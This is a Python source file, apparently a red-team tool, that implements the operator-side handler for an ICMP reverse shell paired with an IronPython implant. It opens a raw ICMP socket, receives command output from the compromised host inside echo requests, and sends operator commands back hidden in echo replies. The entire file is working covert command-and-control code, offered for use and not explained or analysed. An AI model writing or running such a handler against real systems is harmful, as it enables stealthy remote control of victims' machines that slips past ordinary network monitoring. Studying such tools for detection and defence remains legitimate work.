#!/usr/bin/env python
##################################################
## ICMP Shell Handler for IronPython ICMP Reverse Shell
##################################################
## Author: daddycocoaman
##################################################
## Reference:  https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
##################################################
import fcntl
import os
import select
import socket
import subprocess
import sys
from impacket import ImpactDecoder, ImpactPacket

IP_LOCAL = ""
IP_REMOTE = ""

def setNonBlocking(fd):
    flags = fcntl.fcntl(fd, fcntl.F_GETFL)
    flags = flags | os.O_NONBLOCK
    fcntl.fcntl(fd, fcntl.F_SETFL, flags)

stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error as e:
    sys.stderr.write('You need to run with administrator privileges\n')
    sys.exit(1)

sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

ip = ImpactPacket.IP()
ip.set_ip_src(IP_LOCAL)
ip.set_ip_dst(IP_REMOTE)

icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
decoder = ImpactDecoder.IPDecoder()

while True:
    cmd = ""
    r, w, e = select.select([sock, sys.stdin], [], [sock, sys.stdin])
    try:
        buff = sock.recv(4096)
        if buff:
            ippkt = decoder.decode(buff)
            icmppkt = ippkt.child()
            if ippkt.get_ip_dst() == IP_LOCAL and ippkt.get_ip_src() == IP_REMOTE and icmppkt.get_icmp_type() == 8:
                data = icmppkt.get_data_as_string()

                if len(data) > 0 and data != "OK":
                    sys.stdout.write(data)
                
                if data == "OK":
                    ident = icmppkt.get_icmp_id()
                    seq = icmppkt.get_icmp_seq()
        else:
            break
    except socket.error:
        pass

    while True:
        r, w, e = select.select([sys.stdin], [], [], 0)
        if not r:
            break
        
        cmd = sys.stdin.readline()    
        if cmd == "exit\n":
            exit()
        try:
            icmp.set_icmp_id(ident)
            icmp.set_icmp_seq(seq)
            icmp.contains(ImpactPacket.Data(cmd))
            icmp.set_icmp_cksum(0)
            icmp.auto_checksum = 1

            ip.contains(icmp)
            sock.sendto(ip.get_packet(), (IP_REMOTE, 0))
        except:
            pass